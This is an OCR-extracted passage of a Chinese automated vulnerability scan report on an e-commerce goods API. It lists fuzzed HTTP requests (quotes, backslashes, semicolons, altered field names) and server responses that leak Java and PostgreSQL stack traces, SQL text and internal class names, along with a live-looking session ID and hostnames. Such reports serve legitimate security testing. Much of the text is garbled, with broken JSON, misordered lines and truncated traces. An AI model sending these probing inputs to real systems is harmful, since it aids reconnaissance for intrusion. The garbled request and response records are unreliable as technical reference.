Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "goodsid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@76c39a24; line: 1, column: 53] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid[]"])
```

变体-|4/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 81
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
  "goodsonoff": [
                  "enterpriseid": 55,
                  "goodsid": "'",
                  "departmentid": 1670,
                 "status": 1
         1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@55c2f33; line: 1, column: 34] (through reference
```

```
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|5/9

差异: 参数 从以下位置进行控制: 105190 至: \'

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 83
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": "\
                 "departmentid": 1670,
                 "status": 1
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:22 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@7e08d56d; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-16/9

测试请求和响应:

差异: 参数 从以下位置进行控制: 105190 至: ;

Chrome/57.0.2987.133 Safari/537.36

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1 Content-Length: 81 sessionId: c5b8689a1098705cd3ffdff0d57563a1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

```
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                "enterpriseid": 55,
                "goodsid": ";",
                "departmentid": 1670,
                "status": 1
       ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ';': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@21a89757; line: 1, column: 34] (through reference
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|7/9

差异: 参数 从以下位置进行控制: 105190 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 82
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
{
        "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": "\"",
                 "departmentid": 1670,
                "status": 1
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '"': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@6623feba; line: 1, column: 34] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]->com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|8/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 84
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": "\\
                 "departmentid": 1670,
                 "status": 1
        ]
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@1d2e87cd; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|9/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 81
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": ")",
                 "departmentid": 1670,
                "status": 1
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ')': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@7734a37c; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

问题 **37 / 43** Toc

应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"departmentid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 59
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; g=0.8
 . . .
   "data": [
    "returnCode": 0,
                                               错误代码:添加库存失败\r\n错误信
   "msa": "
 息:null\r\nStackTrace:org.springframework.dao.DuplicateKeyException: \n### Error updating
 database. Cause: org.postgresql.util.P<mark>SQLException</mark>: ERROR: duplicate key value violates unique
 constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid) = (105190, 55) already
exists.\n### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.addPubGoodsStock-
 Inline\n### The error occurred while setting parameters\n### SQL: insert into pub goods stock
                                                                                                            stockqty) values (?,
                                                                  goodsid,
 ( enterpriseid.
                                                                                                                                                                                                                                            ?.
\\n### Cause: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
 exists.\n; SQL []; ERROR: duplicate key value violates unique constraint
 \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already exists.;
nested exception is org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n\tat
org.springframework.jdbc.support.SQLErrorCodeSQLExceptionTranslator.doTranslate(SQLErrorCodeSQLEx
 ceptionTranslator.java:239)\n\tat
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.transla
 kSQLExceptionTranslator.java:73) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.insert(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.insert(SqlSessionTemplate.java:253) \n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:46) \n\tat
\verb|com.sun.proxy.$Proxy55.addPubGoodsStock(Unknown Source) \n tat|\\
\verb|com.sunee.scn.goods.service.PubGoodsStockService.addPubGoodsStock(PubGoodsStockService.java:21)| \\
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsStockConsumer.addPubGoodsStock(PubGoodsStockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsum
ava:53) \n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsStockConsumer$$FastClassBySpringCGLIB$$$778c158d.invokes to the constant of the 
 (<\! {\tt generated}\!>) \  \  \, {\tt lat org.springframework.cglib.p}
ead0(RequestHandler.java:52)\n\tat
tat
io.nettv.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va:363)\n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.nettv.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
\verb"ava:144") \verb|\htat java.lang.Thread.run(Thread.java:745) \|\htat java.lang.Thread.run(Thread.java:745) \|\htat java.lang.Thread.run(Thread.java:745) \|\htat java.lang.Thread.run(Thread.java:745) \|\htat java.lang.Thread.run(Thread.java:745) \|\htat 
orq.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint
```

变体- | 2 / 10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 60
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "
                       1670XYZ"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1670XYZ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@77896ee0; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|3/10

差异: 参数 从以下位置进行控制: (->"departmentid") 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 56
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid.": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "departmentid." (Class com.suneee.scn.qoods.model.dbo.PubGoodsStock), not
marked as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@29124871; line: 1, column: 56] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid."])
```

变体-|4/10

差异: 参数 从以下位置进行控制: 1670 至: -

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 53
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
. . .
. . .
...
"data": [
                错误代码:添加库存失败\r\n错误信
息:null\r\nStackTrace:org.springframework.dao.DuplicateKeyException: \n### Error updating
database. Cause: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.addPubGoodsStock
Inline\n### The error occurred while setting parameters\n### SQL: insert into pub goods stock
```

```
( enterpriseid, goodsid,
                                                                                              stockqty ) values ( ?, ?,
\\ \n### Cause: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n; SQL []; ERROR: duplicate key value violates unique constraint
"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already exists.;
nested exception is org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n\tat
org.springframework.jdbc.support.SQLErrorCode<mark>SQLException</mark>Translator.doTranslate(SQLErrorCode<mark>SQLEx</mark>
ceptionTranslator.java:239)\n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:73) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:399)\n
\tat com.sun.proxy.$Proxy31.insert(Unknown Source)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:46) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43)\n\tat
com.sun.proxy.$Proxy55.addPubGoodsStock(Unknown Source) \n\tat
com.suneee.scn.goods.service.PubGoodsStockService.addPubGoodsStock(PubGoodsStockService.java:21)
n\tat
com.suneee.scn.goods.consumer.impl.PubGoodsStockConsumer.addPubGoodsStock(PubGoodsStockConsumer.i
ava:53) \n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsStockConsumer$$FastClassBySpringCGLIB$$778c158d.invokes to the constant of the c
(<generated>) \n\tat org.springframework.cglib.p
. . .
ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363)\n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java: 403)} \\
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \texttt{DefaultRunnableDecorator.run}\\| \texttt{(DefaultThreadFactory.jun)}| \texttt{(Defa
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint
\"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n\
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173)\n\tat
org.postgresq1.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:468) \n\t
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java: 461) \\ | h | tat | for example 1 | tat | for example 2 | tat | for example 2 | tat | for example 3 | tat | for
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.iava:493
)\n\tat
a:41) \n\tat org.apache.ibatis.exec
. . .
. . .
. . .
```

变体- | 5 / 10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

POST /goodsRestApi/updateGoodsStock HTTP/1.1

```
Content-Length: 54
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "'"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@64bfad13; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|6/10

差异: 参数 从以下位置进行控制: ->"departmentid" 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 57
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid[]": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "departmentid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsStock), not
marked as ignorable
```

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```
at [Source: io.netty.buffer.ByteBufInputStream@414dae8b; line: 1, column: 57] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid[]"])
```

变体-|7/10

差异: 参数 从以下位置进行控制: 1670 至: \'

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 56
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "\
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@6b63e567; line: 1, column: 35] (through reference
\verb|chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"]||
```

变体- | 8 / 10

差异: 参数 从以下位置进行控制: 1670 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
